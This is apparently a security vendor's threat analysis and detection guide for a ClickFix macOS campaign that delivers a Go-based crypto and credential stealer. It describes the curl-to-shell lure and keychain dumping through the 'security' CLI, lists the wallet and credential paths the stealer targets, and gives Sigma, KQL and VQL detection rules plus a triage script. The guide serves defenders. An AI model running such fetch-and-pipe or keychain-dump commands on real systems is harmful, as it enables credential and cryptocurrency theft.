ClickFix macOS Campaign Delivers Go-Based Crypto Stealer: Detection and Defense Guide for SOC Teams

The ClickFix social-engineering playbook — which has been hammering Windows environments with fake CAPTCHA and 'fix this error' lures for over a year — has now been adapted for macOS, and the payload is serious. According to recent reporting, threat actors are using ClickFix-style infection chains to deliver a Go-based information stealer purpose-built for macOS. The malware is capable of draining cryptocurrency wallets, extracting browser-stored passwords, harvesting Apple iCloud Keychain data, and collecting cached credentials from the host.

This matters because macOS endpoints have historically flown under the radar in enterprise security programs. Too many organizations treat Macs as developer or executive 'special cases' with reduced EDR coverage, weaker logging, and no centralized monitoring. Attackers know this. A Go-compiled stealer is particularly dangerous: Go binaries are cross-platform, easy to obfuscate, statically linked (so they carry no dependency errors), and frequently bypass signature-based detection because each campaign ships a freshly compiled hash.

The infection chain described in this campaign is elegant in its simplicity: the victim is socially engineered into executing a shell script, the script profiles the host — critically, determining CPU architecture (Apple Silicon vs. Intel) — and then fetches a macOS payload compiled for that specific architecture. This is not spray-and-pray. This is a deliberate, architecture-aware delivery mechanism targeting macOS users who hold cryptocurrency or privileged credentials.

Technical Analysis

How the ClickFix macOS Attack Chain Works

ClickFix attacks rely on convincing the user that they are fixing a problem. The victim lands on a compromised or malicious page displaying a fake error — a CAPTCHA verification, a browser update prompt, or a document-rendering failure. The page instructs the user to copy a command and paste it into Terminal (or, in earlier Windows variants, the Run dialog). The user self-executes the malware, which neatly sidesteps most email and web-gateway controls because no malicious file is ever delivered by the infrastructure — the victim pulls it themselves.

In this macOS variant, the chain works as follows from a defender's perspective:

1. Lure and self-execution: The victim pastes a command into Terminal. This is almost always a curl (or wget) command piped directly to a shell interpreter — e.g., curl -s <malicious-url> | bash or a base64-encoded equivalent. On macOS this often appears as osascript, bash, zsh, or sh as the executing process.

2. Host profiling: The fetched shell script profiles the machine. Observable profiling behavior includes calls to uname -m (returns arm64 for Apple Silicon, x86_64 for Intel), sw_vers, sysctl -n machdep.cpu.brand_string, and system_profiler. This tells the C2 which binary to serve.

3. Architecture-specific payload delivery: The script then downloads a second-stage Go binary compiled for the detected architecture — arm64 Mach-O for M-series Macs, x86_64 for Intel. The payload is typically staged in a user-writable, low-scrutiny location such as /tmp, /var/tmp, ~/Library/Application Support/, or the user's ~/Downloads directory, often with a benign-sounding or randomized filename.

4. Credential and wallet theft: The stealer targets:

   • Cryptocurrency wallets: wallet.dat files, browser-extension wallets (MetaMask, Phantom, Coinbase Wallet, Exodus, Electrum), and desktop wallet application data directories under ~/Library/Application Support/.
   • Browser credentials: Chromium-based Login Data SQLite databases and Safari credentials, which on macOS require Keychain access — meaning the stealer attempts to access or brute-prompt the login Keychain.
   • iCloud Keychain / Apple Keychain data: access attempts against ~/Library/Keychains/ and abuse of the security CLI (e.g., security find-generic-password, security dump-keychain) or the Security framework APIs. Expect user-facing Keychain password prompts — the malware may repeatedly trigger prompts hoping the user approves one.
   • Cached credentials: SSH keys (~/.ssh/), cloud CLI credentials (~/.aws/credentials, ~/.config/gcloud/), and session cookies for token theft.

5. Exfiltration: Stolen data is staged (commonly zipped to a temp directory) and exfiltrated over HTTPS to attacker infrastructure, typically via curl, urllib, or Go's native HTTP client inside the binary.

Exploitation Status

This is confirmed active in-the-wild exploitation via social engineering — no software vulnerability is required. The 'exploit' is the user. There is no CVE associated with this campaign; it abuses legitimate macOS functionality (Terminal, curl, Keychain Services) rather than a software flaw. It is not currently listed in the CISA KEV catalog because there is no patchable vulnerability — the mitigation is behavioral and architectural, which is precisely why defenders need detection coverage rather than patch cycles.

Why Go-Based Stealers Evade Legacy Controls

• Static linking means no dependency signatures to flag.
• Fresh compilation per campaign renders hash-based blocklists useless within hours.
• Mach-O binaries with generic names don't trip signature engines tuned for PE/ELF malware.
• Living-off-the-land execution (curl, bash, security CLI) means early-stage behavior looks like developer activity — the noisiest, most false-positive-prone part of any Mac environment.

Detection & Response

The following detections target the specific, observable behaviors in this campaign: shell pipe execution from curl, host profiling chains, Keychain abuse, and wallet-path access. They are tuned to minimize noise — developer-heavy Mac fleets should baseline before deploying at high sensitivity.

SIGMA Rules

---
title: Curl or Wget Piped to Shell Interpreter on macOS
description: Detects curl/wget output piped directly to a shell interpreter, the primary ClickFix self-execution vector observed delivering the macOS Go stealer.
id: 3f8c2a71-9b4e-4d5a-8c6f-1e2d3b4a5c6d
status: experimental
references:
  - https://thehackernews.com/2026/08/clickfix-attacks-deliver-macos-stealer.html
  - https://attack.mitre.org/techniques/T1059/004/
  - https://attack.mitre.org/techniques/T1204/002/
author: Security Arsenal
date: 2026/08/10
tags:
  - attack.execution
  - attack.t1059.004
  - attack.t1204.002
logsource:
  category: process_creation
  product: macos
detection:
  selection_fetcher:
    CommandLine|contains:
      - 'curl '
      - 'wget '
  selection_pipe:
    CommandLine|contains:
      - '| sh'
      - '| bash'
      - '| zsh'
      - '|sh'
      - '|bash'
      - '|zsh'
  condition: selection_fetcher and selection_pipe
falsepositives:
  - Legitimate software installation scripts from Homebrew or vendor installers
level: high
---
title: macOS Host Profiling Command Chain Prior to Payload Fetch
description: Detects rapid host profiling commands (uname -m, sw_vers, sysctl CPU queries) executed by shell processes, consistent with the ClickFix stage-one script fingerprinting CPU architecture before fetching the architecture-matched Go payload.
id: 7b1d4e92-5c3f-4a8b-9d2e-6f7a8b9c0d1e
status: experimental
references:
  - https://thehackernews.com/2026/08/clickfix-attacks-deliver-macos-stealer.html
  - https://attack.mitre.org/techniques/T1082/
author: Security Arsenal
date: 2026/08/10
tags:
  - attack.discovery
  - attack.t1082
logsource:
  category: process_creation
  product: macos
detection:
  selection_arch:
    CommandLine|contains:
      - 'uname -m'
      - 'machdep.cpu.brand_string'
      - 'hw.optional.arm64'
      - 'sysctl -n hw.'
  selection_parent:
    ParentImage|endswith:
      - '/sh'
      - '/bash'
      - '/zsh'
      - '/osascript'
  condition: selection_arch and selection_parent
falsepositives:
  - System administration scripts and MDM inventory agents
level: medium
---
title: Suspicious Keychain Access via security CLI on macOS
description: Detects use of the macOS security command-line tool to dump or search Keychain contents, a technique used by the ClickFix-delivered stealer to extract iCloud Keychain and browser credentials.
id: 9e5a3c18-2f7d-4b6a-8e1c-4d5e6f7a8b9c
status: experimental
references:
  - https://thehackernews.com/2026/08/clickfix-attacks-deliver-macos-stealer.html
  - https://attack.mitre.org/techniques/T1555/001/
author: Security Arsenal
date: 2026/08/10
tags:
  - attack.credential_access
  - attack.t1555.001
logsource:
  category: process_creation
  product: macos
detection:
  selection_img:
    Image|endswith: '/security'
  selection_cmd:
    CommandLine|contains:
      - 'dump-keychain'
      - 'find-generic-password'
      - 'find-internet-password'
  condition: selection_img and selection_cmd
falsepositives:
  - Password management tools, MDM agents, and legitimate admin credential retrieval
level: high

KQL — Microsoft Sentinel / Defender for Endpoint

Defender for Endpoint on macOS surfaces process telemetry into DeviceProcessEvents, so this hunt runs natively for enrolled Macs. It looks for the two highest-fidelity behaviors: fetch-and-pipe execution and Keychain dumping from non-standard parents.

// Hunt: ClickFix macOS fetch-and-execute + Keychain/credential theft behaviors
let Lookback = 7d;
let FetchPipe = DeviceProcessEvents
| where Timestamp > ago(Lookback)
| where DevicePlatformType has "macOS" or FileName in~ ("curl","wget","bash","zsh","sh","osascript")
| where ProcessCommandLine has_any ("curl ","wget ")
  and ProcessCommandLine has_any ("| sh","| bash","| zsh","|bash","|sh","|zsh");
let KeychainAbuse = DeviceProcessEvents
| where Timestamp > ago(Lookback)
| where FileName =~ "security"
| where ProcessCommandLine has_any ("dump-keychain","find-generic-password","find-internet-password")
| where InitiatingProcessFileName !in~ ("jamf","mdmclient","1Password","osascript-admin");
let Profiling = DeviceProcessEvents
| where Timestamp > ago(Lookback)
| where FileName in~ ("uname","sw_vers","sysctl")
| where ProcessCommandLine has_any ("uname -m","machdep.cpu.brand_string","hw.optional.arm64")
| where InitiatingProcessFileName in~ ("sh","bash","zsh","osascript");
union FetchPipe, KeychainAbuse, Profiling
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId
| order by Timestamp desc

Velociraptor VQL

Use this artifact to hunt macOS endpoints for staged second-stage payloads in temp/user directories and wallet artifacts being touched by unsigned processes. Deploy with an SSH or agent-based collection across your Mac fleet.

-- ClickFix macOS Stealer Hunt: staged payloads + suspicious unsigned Mach-O in user-writable dirs
LET staged = SELECT FullPath, Size, Mtime, Btime
FROM glob(globs=['/tmp/*','/var/tmp/*','/private/tmp/*',
                 '/Users/*/Library/Application Support/*',
                 '/Users/*/Downloads/*'])
WHERE Mtime > now() - 604800
  AND Size > 500000
  AND NOT FullPath =~ '(Spotlight|node_modules|Cache|Xcode|Homebrew)'

LET wallet_access = SELECT FullPath, Mtime, Atime
FROM glob(globs=['/Users/*/Library/Application Support/Exodus/**',
                 '/Users/*/Library/Application Support/Electrum/**',
                 '/Users/*/Library/Application Support/atomic/**',
                 '/Users/*/.config/google-chrome/**/Login Data',
                 '/Users/*/Library/Application Support/BraveSoftware/**/Login Data'])
WHERE Atime > now() - 604800

LET procs = SELECT Pid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ 'curl.*\|\s*(sh|bash|zsh)'
   OR CommandLine =~ 'security (dump-keychain|find-generic-password|find-internet-password)'

SELECT * FROM staged
UNION SELECT * FROM wallet_access
UNION SELECT * FROM procs

Remediation & Verification Script (Bash for macOS)

Run this via your MDM (Jamf, Kandji, Intune) or manually during triage on a suspected host. It checks for ClickFix staging artifacts, Keychain CLI abuse artifacts in unified logs, suspicious launch persistence, and wallet-path anomalies.

#!/bin/bash
# ClickFix macOS Stealer — Triage & Verification Script
# Run as root or via MDM. Review output before taking action.

echo "=== [1] Recently staged executables in temp/user dirs (last 7 days) ==="
find /tmp /var/tmp /private/tmp "$HOME/Downloads" \
  "$HOME/Library/Application Support" -type f -mtime -7 -size +500k \
  -perm +111 2>/dev/null | head -50

echo "=== [2] Unsigned or ad-hoc signed Mach-O binaries in user dirs ==="
find "$HOME" -type f -perm +111 -mtime -14 2>/dev/null | while read -r f; do
  sig=$(codesign -dv "$f" 2>&1 | grep -i "authority")
  if [ -z "$sig" ]; then echo "UNSIGNED: $f"; fi
done

echo "=== [3] Suspicious LaunchAgents / LaunchDaemons (last 14 days) ==="
ls -lat ~/Library/LaunchAgents/ /Library/LaunchAgents/ /Library/LaunchDaemons/ 2>/dev/null | head -40

echo "=== [4] Keychain CLI abuse in unified log (last 24h) ==="
log show --predicate 'process == "security"' --last 24h --style compact 2>/dev/null | \
  grep -Ei "dump-keychain|find-generic-password|find-internet-password" | head -20

echo "=== [5] Shell history artifacts for fetch-and-pipe commands ==="
for hist in "$HOME/.zsh_history" "$HOME/.bash_history"; do
  [ -f "$hist" ] && grep -En "curl.*\|.*(sh|bash|zsh)|wget.*\|.*(sh|bash)" "$hist" | tail -20
done

echo "=== [6] Crypto wallet directories modified recently ==="
find "$HOME/Library/Application Support" -maxdepth 2 -mtime -7 \
  \( -iname "*exodus*" -o -iname "*electrum*" -o -iname "*atomic*" -o -iname "*ledger*" \) 2>/dev/null

echo "=== [7] Outbound connections from unsigned processes (snapshot) ==="
lsof -i -P -n 2>/dev/null | grep ESTABLISHED | grep -Ev "safari|chrome|firefox|teams|slack|zoom" | head -30

echo "=== Triage complete. Correlate any hits with EDR telemetry before remediation. ==="

Remediation & Hardening

There is no patch for this threat — defense is architectural and behavioral. Prioritize the following:

Immediate (contain a suspected host):

1. Isolate the endpoint from the network (EDR network isolation or MDM quarantine).
2. Rotate every credential reachable from that host: Apple ID/iCloud, all browser-stored passwords, cloud CLI keys (AWS, GCP, Azure), SSH keys, and any crypto wallet seed phrases. Assume Keychain contents are compromised — treat rotation as mandatory, not optional.
3. Sweep for persistence: ~/Library/LaunchAgents/, /Library/LaunchAgents/, /Library/LaunchDaemons/, and login items (osascript -e 'tell application "System Events" to get the name of every login item').
4. Check wallet balances and transaction histories immediately; crypto theft is irreversible.

Structural hardening (fleet-wide):

• Deploy EDR on every Mac. If your Mac fleet is excluded from Defender, CrowdStrike, SentinelOne, or Jamf Protect, that gap is exactly what this campaign exploits.
• Enable Gatekeeper and enforce notarization. Verify with spctl --status — it must return assessments enabled. Block execution of unsigned binaries via MDM restrictions where feasible.
• Restrict Terminal for standard users where role-appropriate, or at minimum alert on Terminal launch by non-technical personas (executives, finance, HR — prime ClickFix targets).
• Deploy network egress filtering and DNS monitoring. ClickFix stages payloads over HTTPS; correlate newly seen domains with process fetch events. Block known ClickFix infrastructure at the DNS layer.
• User awareness with teeth: Train Mac users specifically that no legitimate website will ever ask them to paste a command into Terminal. This single rule, internalized, breaks the entire attack chain.
• Protect crypto assets properly: Hardware wallets for any material holdings; never store seed phrases on an internet-connected endpoint; separate browser profiles (or machines) for wallet access.

Detection engineering follow-through:

• Baseline your developer population before alerting on curl-pipe-shell patterns — Homebrew and installer scripts will false-positive otherwise. Tune by parent process and initiating user role.
• Forward macOS unified logs (especially the security process and TCC events) to your SIEM. Most Mac blind spots are logging blind spots, not tooling blind spots.

Category Note

This campaign is a reminder that the macOS attack surface in 2026 is no longer theoretical. ClickFix's migration to Mac — with architecture-aware payload delivery and Keychain targeting — signals that stealer operators see enterprise Macs as high-value, low-resistance targets. If your SOC treats Macs as an afterthought, this is the campaign to cite when requesting budget to change that.

Related Resources

Security Arsenal Healthcare Cybersecurity AlertMonitor Platform Book a SOC Assessment healthcare Intel Hub